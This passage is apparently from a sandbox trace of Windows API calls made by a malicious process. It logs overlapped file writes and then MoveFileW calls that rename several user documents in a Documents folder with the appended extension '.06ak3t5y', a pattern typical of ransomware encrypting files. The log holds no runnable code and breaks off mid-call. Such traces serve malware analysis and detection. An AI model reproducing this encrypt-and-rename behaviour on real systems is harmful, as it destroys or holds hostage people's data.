[0111.690] RtlGetLastWin32Error () returned 0x3e5 [0111.690] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84) returned 1 [0111.690] WriteFile (in: hFile=0x3bc, lpBuffer=0x46cf238, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x46cf210 | out: lpBuffer=0x46cf238, lpNumberOfBytesWritten=0x0, lpOverlapped=0x46cf210) returned 0x0 [0111.690] RtlGetLastWin32Error () returned 0x3e5 [0111.690] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84) returned 1 [0111.692] WriteFile (in: hFile=0x2e8, lpBuffer=0x38f9be0, nNumberOfBytesToWrite=0x159ee, lpNumberOfBytesWritten=0x0, lpOverlapped=0x38f9a90 | out: lpBuffer=0x38f9be0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x38f9a90) returned 0x0 [0111.692] RtlGetLastWin32Error () returned 0x3e5 [0111.692] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84) returned 1 [0111.693] WriteFile (in: hFile=0x290, lpBuffer=0x390f728, nNumberOfBytesToWrite=0xf048, lpNumberOfBytesWritten=0x0, lpOverlapped=0x390f5d8 | out: lpBuffer=0x390f728, lpNumberOfBytesWritten=0x0, lpOverlapped=0x390f5d8) returned 0x0 [0111.693] RtlGetLastWin32Error () returned 0x3e5 [0111.693] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84) returned 1 [0111.694] WriteFile (in: hFile=0x288, lpBuffer=0x47420f0, nNumberOfBytesToWrite=0x1f77, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4741fa0 | out: lpBuffer=0x47420f0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4741fa0) returned 0x0 [0111.694] RtlGetLastWin32Error () returned 0x3e5 [0111.694] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84) returned 1 [0111.694] WriteFile (in: hFile=0x37c, lpBuffer=0x391e8c8, nNumberOfBytesToWrite=0x6c5a, lpNumberOfBytesWritten=0x0, lpOverlapped=0x391e778 | out: lpBuffer=0x391e8c8, lpNumberOfBytesWritten=0x0, lpOverlapped=0x391e778) returned 0x0 [0111.694] RtlGetLastWin32Error () returned 0x3e5 [0111.694] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84) returned 1 [0111.695] WriteFile (in: hFile=0x268, lpBuffer=0x47441c0, nNumberOfBytesToWrite=0x1069d, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4744070 | out: lpBuffer=0x47441c0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4744070) returned 0x0 [0111.696] RtlGetLastWin32Error () returned 0x3e5 [0111.696] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84) returned 1 [0111.696] ReadFile (in: hFile=0x410, lpBuffer=0x47970f0, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x0, lpOverlapped=0x4796fa0 | out: lpBuffer=0x47970f0*, lpNumberOfBytesRead=0x0, lpOverlapped=0x4796fa0) returned 1 [0111.697] RtlGetLastWin32Error () returned 0x3e5 [0111.697] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84) returned 1 [0111.697] ReadFile (in: hFile=0x414, lpBuffer=0x47972d0, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x0, lpOverlapped=0x4797180 | out: lpBuffer=0x47972d0*, lpNumberOfBytesRead=0x0, lpOverlapped=0x4797180) returned 1 [0111.697] RtlGetLastWin32Error () returned 0x3e5 [0111.698] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84) returned 1 [0111.698] WriteFile (in: hFile=0x3f4, lpBuffer=0x397e3f0, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x0, lpOverlapped=0x397e2a0 | out: lpBuffer=0x397e3f0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x397e2a0) returned 0x0 [0111.698] RtlGetLastWin32Error () returned 0x3e5 [0111.698] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84) returned 1 [0111.701] WriteFile (in: hFile=0x3f0, lpBuffer=0x47549b8, nNumberOfBytesToWrite=0x42400, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4754868 | out: lpBuffer=0x47549b8, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4754868) returned 0x0 [0111.702] RtlGetLastWin32Error () returned 0x3e5 [0111.702] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84) returned 1 [0111.703] WriteFile (in: hFile=0x3c0, lpBuffer=0x46e7570, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x46e7548 | out: lpBuffer=0x46e7570, lpNumberOfBytesWritten=0x0, lpOverlapped=0x46e7548) returned 0x0 [0111.703] RtlGetLastWin32Error () returned 0x3e5 [0111.703] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84) returned 1 [0111.703] WriteFile (in: hFile=0x3c4, lpBuffer=0x46e9298, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x46e9270 | out: lpBuffer=0x46e9298, lpNumberOfBytesWritten=0x0, lpOverlapped=0x46e9270) returned 0x0 [0111.703] RtlGetLastWin32Error () returned 0x3e5 [0111.703] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84) returned 1 [0111.703] WriteFile (in: hFile=0x3c8, lpBuffer=0x38f8b88, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x38f8b60 | out: lpBuffer=0x38f8b88, lpNumberOfBytesWritten=0x0, lpOverlapped=0x38f8b60) returned 0x0 [0111.703] RtlGetLastWin32Error () returned 0x3e5 [0111.703] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84) returned 1 [0111.704] WriteFile (in: hFile=0x3cc, lpBuffer=0x46ed928, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x46ed900 | out: lpBuffer=0x46ed928, lpNumberOfBytesWritten=0x0, lpOverlapped=0x46ed900) returned 0x0 [0111.704] RtlGetLastWin32Error () returned 0x3e5 [0111.704] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84) returned 1 [0111.704] WriteFile (in: hFile=0x3d0, lpBuffer=0x4705dc0, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4705d98 | out: lpBuffer=0x4705dc0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4705d98) returned 0x0 [0111.704] RtlGetLastWin32Error () returned 0x3e5 [0111.704] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84) returned 1 [0111.704] WriteFile (in: hFile=0x3d4, lpBuffer=0x4708058, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4708030 | out: lpBuffer=0x4708058, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4708030) returned 0x0 [0111.704] RtlGetLastWin32Error () returned 0x3e5 [0111.704] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84) returned 1 [0111.705] WriteFile (in: hFile=0x3d8, lpBuffer=0x4709408, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x47093e0 | out: lpBuffer=0x4709408, lpNumberOfBytesWritten=0x0, lpOverlapped=0x47093e0) returned 0x0 [0111.705] RtlGetLastWin32Error () returned 0x3e5 [0111.705] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84) returned 1 [0111.705] WriteFile (in: hFile=0x3dc, lpBuffer=0x4720310, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x47202e8 | out: lpBuffer=0x4720310, lpNumberOfBytesWritten=0x0, lpOverlapped=0x47202e8) returned 0x0 [0111.705] RtlGetLastWin32Error () returned 0x3e5 [0111.705] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84) returned 1 [0111.705] WriteFile (in: hFile=0x3e0, lpBuffer=0x4728078, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4728050 | out: lpBuffer=0x4728078, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4728050) returned 0x0 [0111.706] RtlGetLastWin32Error () returned 0x3e5 [0111.706] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84) returned 1 [0111.706] WriteFile (in: hFile=0x3e4, lpBuffer=0x472ce08, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x472cde0 | out: lpBuffer=0x472ce08, lpNumberOfBytesWritten=0x0, lpOverlapped=0x472cde0) returned 0x0 [0111.706] RtlGetLastWin32Error () returned 0x3e5 [0111.706] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84) returned 1 [0111.706] WriteFile (in: hFile=0x3e8, lpBuffer=0x4735b08, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4735ae0 | out: lpBuffer=0x4735b08, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4735ae0) returned 0x0 [0111.706] RtlGetLastWin32Error () returned 0x3e5 [0111.706] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84) returned 1 [0111.706] WriteFile (in: hFile=0x3ec, lpBuffer=0x397f9f8, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x397f9d0 | out: lpBuffer=0x397f9f8, lpNumberOfBytesWritten=0x0, lpOverlapped=0x397f9d0) returned 0x0 [0111.707] RtlGetLastWin32Error () returned 0x3e5 [0111.707] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84) returned 1 [0111.707] WriteFile (in: hFile=0x3f8, lpBuffer=0x459f978, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x0, lpOverlapped=0x459f828 | out: lpBuffer=0x459f978, lpNumberOfBytesWritten=0x0, lpOverlapped=0x459f828) returned 0x0 [0111.707] RtlGetLastWin32Error () returned 0x3e5 [0111.707] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84) returned 1 [0111.707] WriteFile (in: hFile=0x3fc, lpBuffer=0x459fb58, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x0, lpOverlapped=0x459fa08 | out: lpBuffer=0x459fb58, lpNumberOfBytesWritten=0x0, lpOverlapped=0x459fa08) returned 0x0 [0111.707] RtlGetLastWin32Error () returned 0x3e5 [0111.707] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84) returned 1 [0111.707] WriteFile (in: hFile=0x404, lpBuffer=0x459fd38, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x0, lpOverlapped=0x459fbe8 | out: lpBuffer=0x459fd38, lpNumberOfBytesWritten=0x0, lpOverlapped=0x459fbe8) returned 0x0 [0111.708] RtlGetLastWin32Error () returned 0x3e5 [0111.708] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84) returned 1 [0111.708] WriteFile (in: hFile=0x408, lpBuffer=0x459ff18, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x0, lpOverlapped=0x459fdc8 | out: lpBuffer=0x459ff18, lpNumberOfBytesWritten=0x0, lpOverlapped=0x459fdc8) returned 0x0 [0111.708] RtlGetLastWin32Error () returned 0x3e5 [0111.708] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84) returned 1 [0111.708] ReadFile (in: hFile=0x418, lpBuffer=0x47974b0, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x0, lpOverlapped=0x4797360 | out: lpBuffer=0x47974b0*, lpNumberOfBytesRead=0x0, lpOverlapped=0x4797360) returned 1 [0111.709] RtlGetLastWin32Error () returned 0x3e5 [0111.709] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84) returned 1 [0111.709] ReadFile (in: hFile=0x320, lpBuffer=0x397e920, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x0, lpOverlapped=0x397e7d0 | out: lpBuffer=0x397e920*, lpNumberOfBytesRead=0x0, lpOverlapped=0x397e7d0) returned 1 [0111.710] RtlGetLastWin32Error () returned 0x3e5 [0111.710] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84) returned 1 [0111.710] CloseHandle (hObject=0x26c) returned 1 [0111.712] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xe4) returned 0x20ab750 [0111.712] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\Da8Oppcqp90t.docx" (normalized: "c:\\users\\keecfmwgj\\documents\\da8oppcqp90t.docx"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\Da8Oppcqp90t.docx.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\documents\\da8oppcqp90t.docx.06ak3t5y")) returned 1 [0111.714] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20ab750) returned 1 [0111.714] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20683c0) returned 1 [0111.714] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x454e650) returned 1 [0111.714] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84) returned 1 [0111.714] CloseHandle (hObject=0x274) returned 1 [0111.715] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xe0) returned 0x2070c20 [0111.716] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\eB 95K8MWD.xlsx" (normalized: "c:\\users\\keecfmwgj\\documents\\eb 95k8mwd.xlsx"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\eB 95K8MWD.xlsx.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\documents\\eb 95k8mwd.xlsx.06ak3t5y")) returned 1 [0111.717] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2070c20) returned 1 [0111.717] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2068430) returned 1 [0111.717] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x3890a78) returned 1 [0111.717] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84) returned 1 [0111.717] CloseHandle (hObject=0x27c) returned 1 [0111.718] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xe4) returned 0x20ab750 [0111.718] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\fDhfuRyygxzvH.ods" (normalized: "c:\\users\\keecfmwgj\\documents\\fdhfuryygxzvh.ods"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\fDhfuRyygxzvH.ods.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\documents\\fdhfuryygxzvh.ods.06ak3t5y")) returned 1 [0111.719] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20ab750) returned 1 [0111.719] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20684a0) returned 1 [0111.719] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x38a42a0) returned 1 [0111.719] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84) returned 1 [0111.719] CloseHandle (hObject=0x278) returned 1 [0111.721] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xea) returned 0x207d648 [0111.721] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\fWYCUggo7eiu Mez.odt" (normalized: "c:\\users\\keecfmwgj\\documents\\fwycuggo7eiu mez.odt"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\fWYCUggo7eiu Mez.odt.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\documents\\fwycuggo7eiu mez.odt.06ak3t5y")) returned 1 [0111.722] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x207d648) returned 1 [0111.722] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x30ee788) returned 1 [0111.722] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x4561e90) returned 1 [0111.722] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84) returned 1 [0111.722] CloseHandle (hObject=0x254) returned 1 [0111.724] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xe4) returned 0x20ab750 [0111.724] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\GMmGBk5gIcrjM.doc" (normalized: "c:\\users\\keecfmwgj\\documents\\gmmgbk5gicrjm.doc"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\GMmGBk5gIcrjM.doc.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\documents\\gmmgbk5gicrjm.doc.06ak3t5y")) returned 1 [0111.724] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20ab750) returned 1 [0111.724] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2068510) returned 1 [0111.724] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x4578470) returned 1 [0111.724] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84) returned 1 [0111.725] CloseHandle (hObject=0x34c) returned 1 [0111.726] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xda) returned 0x2070c20 [0111.726] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\Jm6CiFV.pptx" (normalized: "c:\\users\\keecfmwgj\\documents\\jm6cifv.pptx"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\Jm6CiFV.pptx.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\documents\\jm6cifv.pptx.06ak3t5y")) returned 1 [0111.727] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2070c20) returned 1 [0111.727] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2086090) returned 1 [0111.727] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x4582448) returned 1 [0111.727] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84) returned 1 [0111.727] CloseHandle (hObject=0x350) returned 1 [0111.729] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xec) returned 0x207d648 [0111.729] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\JM7eM8laWBfHyX5ed.odt" (normalized: "c:\\users\\keecfmwgj\\documents\\jm7em8lawbfhyx5ed.odt"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\JM7eM8laWBfHyX5ed.odt.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\documents\\jm7em8lawbfhyx5ed.odt.06ak3t5y")) returned 1 [0111.730] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x207d648) returned 1 [0111.730] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x30ee4b8) returned 1 [0111.730] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x45a0048) returned 1 [0111.730] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84) returned 1 [0111.730] CloseHandle (hObject=0x354) returned 1 [0111.731] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xe4) returned 0x20ab750 [0111.731] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\keforvhV3MOW.docx" (normalized: "c:\\users\\keecfmwgj\\documents\\keforvhv3mow.docx"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\keforvhV3MOW.docx.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\documents\\keforvhv3mow.docx.06ak3t5y")) returned 1 [0111.732] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20ab750) returned 1 [0111.732] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2068580) returned 1 [0111.732] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x4591a00) returned 1 [0111.732] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84) returned 1 [0111.732] CloseHandle (hObject=0x358) returned 1 [0111.733] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xd2) returned 0x30a82f0 [0111.734] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\Ljl6.ods" (normalized: "c:\\users\\keecfmwgj\\documents\\ljl6.ods"), 